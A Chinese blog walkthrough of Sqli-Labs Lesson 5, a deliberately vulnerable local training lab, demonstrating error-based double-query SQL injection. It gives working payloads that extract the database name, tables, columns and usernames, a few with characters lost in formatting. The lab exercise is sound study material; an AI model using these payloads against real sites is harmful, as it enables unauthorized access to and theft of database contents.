美文网首页
Sqli-Labs_Lesson_5 GET - Double

Sqli-Labs_Lesson_5 GET - Double

作者: 陌小皓 | 来源:发表于2017-03-24 11:00 被阅读0次

    Sqli-Labs 是一个印度人的开源项目平台。里面包含了基本的各种注入类型,同时又有get和post类型,以及一些基本的绕过学习。

    项目地址:https://github.com/Audi-1/sqli-labs

    SQL注入
    Lesson-5 #GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
    运行测试环境:http://localhost/sqli-labs-master/Less-5/
    输入ID参数1:http://localhost/sqli-labs-master/Less-4/?id=1 ,返回正常:
    ?id=1
    在参数中尝试插入单引号,网站报错:
    单引号网站报错
    测试and 1=1 ,并注释后面的SQL语句,网站返回正常:
    and 1=1 --+
    测试and 1=2 ,并注释后面的SQL语句,网站返回不正常:
    and 1=2 --+
    说明存在注入,继续测试:
    order by =3
    order by 3返回正常,order by 4返回错误,说明所在表中有三列。
    前4Lesson都是通过闭合SQL语句从而注入,但是现在闭合正确只会显示“You are in.......”,尝试数据库报错来取得想要的数据==:
    基于错误的SQL语句的关键函数(构造能够导致逻辑错误的SQL语句):

    -count():用于统计元组的数量
    -rand():用于产生一个0~1的随机数字
    -floor():向下取整
    -group by:根据要求对结果排序
    -EXTRACTVALUE (XML_document, XPath_string):从目标XML中返回包含所查询值的字符串
      XML_document:是String格式,为XML文档对象的名称
      XPath_string :Xpath格式的字符串
    -UPDATEXML (XML_document, XPath_string, new_value):改变文档中符合条件的节点的值
      XML_document:是String格式,为XML文档对象的名称
      XPath_string :Xpath格式的字符串
      new_value:String格式,替换查找到的符合条件的数据

    通过order by 来查询:
    order by
    继续用union select 来查询:
    没有查到有用的信息,我们再尝试用网站报错的形式查询当前所在数据库:

    http://localhost/sqli-labs-master/Less-5/

    ?id=1' and (select 1 from ( select count(),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+

    报错查询当前数据库
    查询当前数据库版本:
    报错查询当前数据库版本
    information_schema.tables里面查看当前数据库里面的的第一个表:

    http://localhost/sqli-labs-master/Less-5/
    ?id=1' and (select 1 from ( select count(),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+

    查看当前数据库里面的的第一个表
    发现当前数据库中有users表,查看表里面有哪些列:

    http://localhost/sqli-labs-master/Less-5/
    ?id=1' and (select 1 from ( select count(),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+

    当前数据库中user表 user表第一列
    查询user表中的字段username:

    http://localhost/sqli-labs-master/Less-5/?id=1'
    and (select 1 from ( select count(),concat(0x3a,0x3a,(select username from users limit 1,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+

    查询user表中的字段username
    查询user表中的字段password:
    查询user表中的字段password

    参考链接:https://bugs.mysql.com/bug.php?id=32249


    利用注入神器sqlmap验证一下:

    SQLMAP结果

    SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

    具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

    相关文章

      网友评论

          本文标题:Sqli-Labs_Lesson_5 GET - Double

          本文链接:https://www.haomeiwen.com/subject/pwrnnttx.html